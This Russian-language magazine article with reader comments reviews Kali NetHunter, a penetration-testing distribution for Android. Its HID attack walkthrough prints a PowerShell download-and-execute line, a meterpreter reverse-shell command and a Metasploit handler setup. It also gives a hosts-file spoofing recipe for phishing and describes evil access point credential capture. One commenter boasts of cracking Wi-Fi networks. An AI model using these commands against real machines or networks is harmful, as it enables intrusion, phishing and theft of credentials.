ARM-сборки BackTrack 5 и Kali Linux можно было запустить в среде Android с самого момента их появления. Некоторые инструменты в них не работали, другие работали слишком медленно, но в целом дистрибутив шевелился, и можно было носить у себя в кармане несколько сотен утилит пентестинга, а при необходимости и получить доступ к рабочему столу с компа средствами VNC. Однако BinkyBear из комьюнити Kali решил, что этого мало, и на свет появился Kali NetHunter — вариант дистрибутива, оптимизированный для Android-смартфонов.

 

Тот самый Kali Linux

По своей сути NetHunter — это почти не измененный Kali Linux, устанавливаемый «поверх» Android и работающий внутри chroot-окружения. Он включает в себя все тот же набор из огромного количества хорошо известных нам инструментов пентестинга, а также графическую среду XFCE, достучаться до которой можно как с самого смартфона, так и с ноута/компа/планшета с помощью любого VNC-клиента.

Отличие NetHunter от «просто установки Kali Linux в chroot» в нескольких нюансах. Во-первых, здесь есть графическое приложение для управления некоторыми возможностями дистрибутива, вроде запуска тех или иных сервисов или включения точки доступа MANA. Во-вторых, он включает в себя небольшой набор Android-софта, который будет полезен при выполнении атак или работе с дистрибутивом: Hacker’s Keyboard, Android VNC, DriveDroid и другие.

 

WARNING

При установке второй системой через MultiROM установщик NetHunter не сможет прошить кастомное ядро, в результате чего функции инъекции фреймов, BadUSB и эмуляции клавиатуры окажутся недоступны. Несмотря на то что для Nexus 7 образца 2012 года существует драйвер, способный перевести внутренний сетевой адаптер в режим мониторинга, он не поддерживается Kali NetHunter.

В-третьих, для каждого поддерживаемого устройства в NetHunter есть собственное кастомное ядро, собранное с поддержкой загрузки эмуляции USB-клавиатуры или сетевого адаптера и механизмов внедрения фреймов в сетевой поток (Wireless 802.11 frame injection). Эти функции используются для проведения атак типа BadUSB, Teensy, а также для внедрения в передаваемые по сети файлы разного рода бэкдоров (с использованием точки доступа MANA и инструмента Backdoor Factory).

В остальном же все довольно стандартно, и тот, кто знаком с Kali (я не говорю о юзерах графической оболочки), найдет здесь знакомое окружение и набор инструментов: Aircrack, Maltego, Metasploit, SAINT, Kismet, Bluebugger, BTCrack, Btscanner, Nmap, p0f и многие, многие другие.

 

Ставим и едем

На момент написания этих строк последней публичной версией NetHunter была 1.1.0, а официальная поддержка существовала всего для шести (или восьми, как посмотреть) моделей устройств:

  • Nexus 4 (GSM);
  • Nexus 5 (GSM/LTE);
  • Nexus 7 [2012] (Wi-Fi);
  • Nexus 7 [2012] (Mobile);
  • Nexus 7 [2013] (Wi-Fi);
  • Nexus 7 [2013] (Mobile);
  • Nexus 10;
  • OnePlus One 16 GB;
  • OnePlus One 64 GB.

Второе требование — это версия Android 4.4.4; без добавления «как минимум», да еще и с полученным root, кастомной консолью восстановления (TWRP или CWM, без разницы) и не меньше 4,5 Гб свободного пространства. А чтобы получить возможность снифинга трафика и инъекции фреймов, нужна еще и внешняя USB-шная Wi-Fi-сетевуха, причем не какая попало, а той модели, поддержка которой реализована в ядре (см. врезку), а также OTG-кабель для подключения.

 

 Совместимые с NetHunter сетевые адаптеры

  • TP-Link TL-WN321G
  • TP-Link TL-WN722N
  •  TP-Link TL-WN821N
  •  TP-Link TL-WN822N
  •  Alfa AWUS036H
  •  Alfa AWUS036NH
  •  Ubiquiti Networks SR71-USB
  •  SMC SMCWUSB-N2
  •  Netgear WNA1000


Когда все эти требования будут выполнены — ты готов. Теперь иди на страницу загрузки, ищи свой девайс и скачивай ZIP-файл (там есть также Windows-инсталлятор, но его я описывать не буду по религиозным соображениям). Теперь скидывай ZIP на карту памяти, перезагружай смартфон в режим recovery и прошивай прямо поверх текущей прошивки без всяких вайпов (как это делается, мы рассказывали уже много раз). Процесс будет длиться долго, так как 2,4-гигабайтное chroot-окружение Kali Linux запаковано с помощью весьма жадного до процессора и памяти архиватора bzip2. После завершения операции можно перезагрузиться.

Устанавливаем Kali NetHunter
Устанавливаем Kali NetHunter

 

 

Что внутри?

Итак, вновь загрузился Android, и теперь у нас есть:

  • NetHunter Home — приложение-обвязка для запуска самых необходимых функций Kali NetHunter.
  • Дистрибутив Kali Linux в каталоге /data/local/kali-armhf/ (все операции запускаются в нем).
  • BusyBox и консольный редактор Nano.
  • Android VNC — простой VNC-клиент для доступа к рабочему столу Kali Linux.
  • BlueNMEA — приложение для отсылки текущих координат на другое устройство по Bluetooth или TCP (нужен для работы Kismet).
  • DriveDroid — приложение, позволяющее использовать смартфон в качестве Live USB.
  • Hacker’s Keyboard — всем известная полноразмерная Android-клавиатура.
  • RF Analyzer — приложение для работы с HackRF/RTL-SDR.
  • USB Keyboard — эмулятор USB-клавиатуры.
  • Набор конфигурационных файлов и обоев на карте памяти (в каталогах files и kali-nh).

Центральное место здесь занимают, конечно же, NetHunter Home и сам дистрибутив, причем первый — это просто обвязка для запуска тех или иных действий внутри дистрибутива через скрипт /system/bin/bootkali. NetHunter Home запускает его с тем или иным аргументом (например, start apache), а тот, в свою очередь, делает chroot в /data/local/kali-armhf/ и выполняет ряд команд в зависимости от переданного аргумента.

 

Что именно делает скрипт bootkali?

  1. Отключает SELinux (точнее, переводит в режим permissive).
  2. Проверяет наличие root c помощью запуска команды id.
  3. Инициализирует необходимые переменные окружения (PATH, TERM, HOME и другие).
  4. Прописывает в /data/local/kali-armhf/etc/resolv.conf адреса DNS-серверов, взятые из системных переменных Android (net.dns1, net.dns2 и так далее).
  5. Монтирует в /data/local/kali-armhf/ необходимые для работы Linux файловые системы (dev, proc, sysfs, devpts).
  6. Включает форвардинг пакетов для работы точки доступа и BadUSB (sysctl -w net.ipv4.ip_forward=1).
  7. Если скрипт запущен без аргументов, он выполняет chroot в каталог /data/local/kali-armhf/ и запускает bash.
  8. Если указан аргумент, выполняет chroot и запускает либо соответствующий сервис (Apache, например), либо процесс обновления (аргумент update), либо фирменное консольное меню NetHunter (kalimenu).

 

Часть скрипта bootkali
Часть скрипта bootkali

 

 

NetHunter Home

Итак, NetHunter Home — главный «пульт управления» Kali NetHunter. Он разделен на восемь независимых вкладок. Первая — это просто экран приветствия, на котором отображается инфа о NetHunter, а также IP-шники сетевых интерфейсов и внешний IP роутера, если девайс подключен к Wi-Fi. На второй вкладке здесь так называемый Kali Launcher, который позволяет открыть консоль Kali в chroot (просто выполняет команду bootkali), запустить текстовое меню (bootkali kalimenu), о котором мы поговорим позже, обновить Kali chroot (bootkali update) или запустить инструмент wifite для взлома сетей Wi-Fi (WEP, WPS, перехват WPA handshake); он требует внешний Wi-Fi-адаптер. На третьей вкладке панель управления сетевыми сервисами: SSH, Dnsmasq, Hostapd (точка доступа), OpenVPN, Apache, сервер Metasploit и веб-интерфейс BeEF Framework.

Главный экран NetHunter Home
Главный экран NetHunter Home

Панель управления сервисами
Панель управления сервисами

 

HID Keyboard Attack

Четвертая вкладка позволяет запустить атаку HID Keyboard Attack. Ее суть очень проста: подключенный к компу через OTG-кабель смартфон/планшет прикидывается USB-клавиатурой и «нажимает» любые кнопки, какие мы захотим. По умолчанию NetHunter предлагает нам два варианта ее использования. Первый — наша виртуальная клавиатура тупо открывает командную строку и вбивает указанные нами команды. Для этого переходим на второй экран (Windows CMD), вбиваем в поле ввода любые команды и нажимаем кнопку Update. Подключаем девайс к компу, открываем меню и нажимаем Execute Attack. Наблюдаем за тем, что происходит в винде.

Второй способ более изощренный сложный в настройке. Он носит имя PowerSploit Attack и позволяет быстро получить сетевой доступ к командной строке Windows с телефона (вся операция занимает несколько секунд). Работает это так: смартфон подключается к компу, открывает командную строку и запускает в ней PowerShell со следующей командой (во время самой атаки она будет закодирована в Base64):

iex (New-Object Net.WebClient).DownloadString("http://192.168.1.1/payload")

Эта команда запускает скрипт, размещенный по адресу http://192.168.1.1/payload. IP — это наш смартфон с запущенным Apache, а payload — PowerShell-эксплойт, вся работа которого заключается в том, чтобы загрузить с сервера Metasploit (он тоже запущен на нашем смартфоне) наш шелл-код, реализующий обратный HTTPS-шелл, и внедрить его в текущий процесс PowerShell:

Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 192.168.1.1 -Lport 4444 -Force

Как результат мы получим доступ к командному интерпретатору Windows по HTTPS. Реализовать такую атаку с помощью одного лишь тыканья по кнопочкам интерфейса не удастся, поэтому придется повозиться с командной строкой Kali. Для начала переходим на вкладку HID Keyboard Attack, в поле IP Address вписываем свой айпишник (напомню, он есть на главной странице NetHunter Home), в поле Port оставляем 4444, Payload оставляем как есть, в поле URL to payload меняем IP на свой. Нажимаем Update.

Теперь идем в Kali Service Control и включаем Apache. Далее нам необходимо запустить сервер Metasploit. Идем в Kali Launcher и запускаем Shell. В нем открываем консоль Metasploit:

# msfconsole -q

И настраиваем хендлер для отдачи нашего шелл-кода:

use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_https
set LHOST 192.168.1.1
set LPORT 4444
exploit

Естественно, вместо 192.168.1.1 используем IP смартфона. На этом конфигурация завершена, и мы готовы к атаке. Сворачиваем (не закрываем!) окно терминала с Kali, возвращаемся в NetHunter Home, подключаем смартфон OTG-кабелем к компу, ждем пару секунд и нажимаем Execute Attack на вкладке HID Keyboard Attack. Возвращаемся в терминал Kali и наблюдаем. Если все прошло гладко, в терминал вывалится строчка [*] Meterpreter session 1 opened. После этого можно отключиться от компа и получить сетевой доступ к его командной строке с помощью команды shell. Это все.

Вкладка HID Keyboard Attack
Вкладка HID Keyboard Attack

BadUSB MITM Attack

Это пятая вкладка Kali NetHunter. Здесь находится интерфейс включения местной реализации нашумевшей атаки BadUSB. Принцип этой атаки довольно прост и сводится к тому, что после подключения к компу USB-девайс (в данном случае смартфон) переконфигурирует собственный USB-контроллер с целью прикинуться другим устройством и выполнять несвойственные ему функции. В описанном выше типе атаки смартфон притворялся клавиатурой, в реализации атаки BadUSB, продемонстрированной на Black Hat 2014, он становится внешней сетевой картой.

Точно так же работает и аналогичная функция NetHunter. Ты просто подключаешь смартфон к компу, запускаешь NetHunter Home, затем включаешь BadUSB, и комп автоматически начинает использовать твой девайс для выхода в интернет, вне зависимости от того, работает он на базе Windows или Linux (но только в том случае, если дистрибутив использует один из автоматических конфигураторов сетевой карты, например NetworkManager). Ключевая идея этой атаки в том, что трафик можно поснифать с помощью Wireshark или стандартного tcpdump, запустив его из консоли Kali и указав в качестве сетевого интерфейса rndis0:

# tcpdump -i rndis0

Или даже выполнить фишинг-атаку, создав на карте памяти файл hosts с IP-адресами подложных серверов:

123.123.123.123 facebook.com
234.234.234.234 sberbank.ru

И перезапустить dnsmasq из консоли Kali, подсунув наш файл hosts:

# killall dnsmasq
# dnsmasq -H /sdcard/hosts -i rndis0 -R -S 8.8.8.8 \
-F 192.168.100.100,192.168.100.200 -x /var/run/dnsmasq.pid

MANA Evil Access Point

Шестая вкладка, и здесь у нас интерфейс запуска программной точки доступа MANA, разработанной в компании SensePost. Это модифицированный hostapd и набор скриптов, которые позволяют перехватывать (и брутфорсить) хеши паролей от точки доступа с аутентификацией IEEE 802.1X (сервер RADIUS, корпоративщина), выполнять HTTPS Stripping (автоматическая подмена HTTPS-ссылок на HTTP) и SSL Split (перехват и логирование SSL/TLS-соединений). Несмотря на обилие экранов с файлами настройки во вкладке, все это хозяйство вполне себе работает из коробки и сыплет логи в /var/lib/mana-toolkit/ внутри Kali chroot. А оттуда их можно скопировать на SD-карту:

# cp -R /var/lib/mana-toolkit/ /sdcard/

В NetHunter доступны пять стандартных конфигураций MANA, выбор между которыми можно сделать во время запуска точки доступа:

  • mana-nat-full — NAT во внешний мир (через сотовую сеть), плюс перехват кукисов, плюс HTTPS Stripping и SSL Split;
  • mana-nat-simple — просто NAT, можно юзать для снифинга трафика;
  • mana-nat-simple-bdf — NAT плюс редирект HTTP-трафика на порт 8080, на котором можно запустить BDFProxy для внедрения кода (бэкдора) в передаваемые файлы (эта тема выходит за рамки данной статьи);
  • mana-noupstream — точка доступа без выхода в интернет с перенаправлением трафика в Metasploit с преднастроенными фиктивными SMB, SMTP, HTTP и другими сервисами (перехват логинов и паролей);
  • mana-noupstream-eap — то же самое, но с перехватом и брутфорсингом EAP-хешей.

В любой из этих конфигураций точка доступа может быть использована для атаки типа KARMA (поле Enable Karma на первом экране MANA Evil Access Point). В этом случае она будет менять свой SSID на тот, что пытается найти сам клиент (клиент выполняет Probe Request, содержащий имена «сохраненных/доверенных сетей», его перехватывает MANA и оперативно меняет свое имя, индивидуально для каждого клиента). При отключении данной функции точка доступа будет иметь имя, указанное в поле SSID.

 

Консоль, текстовое меню и VNC

Как я уже сказал, для работы с NetHunter совсем не обязательно использовать графическое Android-приложение. К нашим услугам есть скрипт bootkali, а также набор скриптов в /system/xbin/, с помощью которых можно запускать сервисы и атаки. Например, ту же точку доступа MANA можно запустить, открыв терминал Android и запустив скрипт start-mana-full:

$ su
# start-mana-full

Также доступны start-apache, start-badusb, start-ssh и другие, все их можно увидеть, выполнив в терминале такую команду:

$ ls /system/xbin/start-*

У большинства скриптов есть и компаньон в виде скрипта stop-*, например stop-apache. Также мы можем выполнить chroot в окружении Kali для запуска экзотических видов атак и инструментов. Для этого просто набираем bootkali в терминале, а далее запускаем любые необходимые инструменты, например kismet:

$ bootkali
# kismet

Чтобы не мучиться с поиском необходимых инструментов и не вспоминать правильные команды их запуска и аргументы, можно использовать команду kalimenu внутри Kali chroot. Она выведет на экран разбитое на разделы меню, через которое можно запустить нужный инструмент, выполнить некоторые настройки и запустить VNC-сервер для доступа к графическому интерфейсу Kali с компа или через Android VNC. Всего тут одиннадцать пунктов, с помощью которых можно запустить знакомые нам airdump-ng, wifite (раздел Wireless Attack), tcpdump, tshark (Sniffing/Spoofing), AutoSSH, pTunnel (Revers Shells), Metasploit, Beef-XSS (Exploit Tools) и многие другие.

Текстовое меню Kali
Текстовое меню Kali

Особо отмечу меню USB Attacks, содержащее забавный инструмент deADBolt. Это своего рода взломщик Android-девайсов, позволяющий подключить другой смартфон с помощью OTG-кабеля и снять с него блокировку, утащить данные приложений, настройки аккаунтов, фотографии или все содержимое SD-карты целиком. Недостаток инструмента только в том, что для работы он использует протокол ADB, а это значит, что на смартфоне жертвы атаки должен быть активирован режим разработчика, включена «Отладка по USB», дано согласие на отладку с нашего смартфона (появляется при подключении и только после разблокировки экрана). Для выполнения всех операций, кроме получения содержимого карты памяти и фото, смартфон жертвы должен иметь root.

В общем, игрушка и не более того.

Ну и напоследок — как включить доступ по VNC. Запускаем kalimenu, набираем 13 (это пункт Services), далее 3 (Start VNC Server), скрипт попросит два раза вбить пароль для доступа и выбрать, куда ему вешаться — только на localhost (для доступа с устройства) или на внешний интерфейс (для доступа с компа или других девайсов). Далее берем любой VNC-клиент и подключаемся к смартфону (IP, как я уже говорил, есть на первой вкладке NetHunter Home). На экране появится окружение рабочего стола XFCE.

Wireshark, запущенный на смартфоне
Wireshark, запущенный на смартфоне

 

Выводы

NetHunter — интересный, но пока еще сильно недоработанный проект. Организация дистрибутива очень нелогична, графическое Android-приложение позволяет запустить ограниченный набор инструментов, часть из которых приходится комбинировать с консольными командами. Документация скудная и поверхностная, поддержка устройств минимальная. Однако проект более чем перспективный, и, судя по анонсам разработчиков, это только начало длинного пути.

9 комментариев

  1. 07.04.2015 at 12:53

    Kali Linux для взлома вай-фай вещь почти непригодная. Основные такие программы как Ривер, уже давно не работает. Ловить хеэндшейки и распаролировать их с помощью ресурсов ЦП — неэфективно. Я бы сказал нереально. Да, там якобы есть «Пирит», но… пока с ним разберешься, состаришься и твое старческое зрение уже не сможет разлечить так появился же там интернет или еще «ломает». Kali Linux — это диструбутив для лабораторий. В полях нужны и есть адекватные проги под Виндовс… Я работаю над этим, небольшие промежуточные успехи уже есть, как что нибудь взломаю — отпишусь…

    • 07.04.2015 at 18:50

      вы не любите змей? вы просто не умеете их готовить =) для вафли были созданы аикрак и эирдамп, Далее любым снифом, Вообщем читайте мануалы, какие проги под винду? её создавали для домохозяек, удобно смотреть кино ,да) если хочешь что то реальное то и используй реальное. Ахахха)) для лабораторий- хм, врятли)) моя лаборатория размещалась на коленках на стареньком нетбуке, и многое может сделать, главное руки из плеч и голова которая знает что делать

  2. 07.04.2015 at 15:23

    приятно когда в каждой новости твой телефон, покупайте Nexus ‘ ы =)

  3. 08.04.2015 at 11:56

    Прям так ничего не пониающий, запустил кали, стартанул с besside-ng и пошел гулять… Не будем говорить что запуск Кали сам по себе это отдельный танец с бубном, даже для подготовленного пользователя. Скажем так, беспроводной адаптер сам перевелся в режим монитора, сам догадался какой там БССД, а ты только запустил с коммандной строки besside-ng и пошел гулять. И, о, диво! Консольная прогамма выдала десяток хендшейков одновременно! Как? А не привираешь ты дружок малек? А потом ты загрузил, на некий сервак и тебе там простинько на шару какой-то добрый дядя все распаролировал. При этом используя свое дорогостоющее оборудование и спалив кучу электроэнергии… А не пиз***дюк ли ты?

  4. 08.04.2015 at 12:04

    Я думал получить ответ от действительно разбирающихся людей. А услышал комментарии на самом деле » совершенно ничего не понимающих» людей. У меня кстати все получилось. Одна сеть поддалась. Я сидел с нее в интернете, качал файлы. Еще одну разпаролировал, притом очень быстро, но там некие траблы, то ли названия похожи, то ли по какой-то другой причине найденный пароль не подошел. Но все прекрасно. Я уверенно в начале пути. До этого больше года провозился с Кали и Убунту. Малорезультатно. Все ИМХО. Не надо думать что я сильно умный, но и не надо думать что я уж вообще неподготовленный или незаинтересованный пользователь.

  5. iiiopot

    21.08.2015 at 05:11

  6. NameLegion

    20.08.2016 at 23:15

    Я скажу только одно, если вы не знаете на что способна эта ОС какие у нее плюсы и минусы то лучше промолчите, я сам создал вирус который получает доступ к моему компьютеру, и у меня это получилось! Kali linux предназначен для пентестеров, для системных администраторов, для тех кто знает как работает сервер как им управлять, как распределяются ip адреса в локальной сети и так далее, кроме того эта ОС сможет работать лучше если вы поможете своим вкладом. я не вижу смысла начинать <> все нормальные ОС которые помогают людям осуществлять свои планы.

Оставить мнение

Check Also

Как сделать игру. Выбираем движок и пишем клон тех самых «танчиков»

С каждым днем игры становятся все сложнее и навороченнее. Быть инди, а точнее соло-разрабо…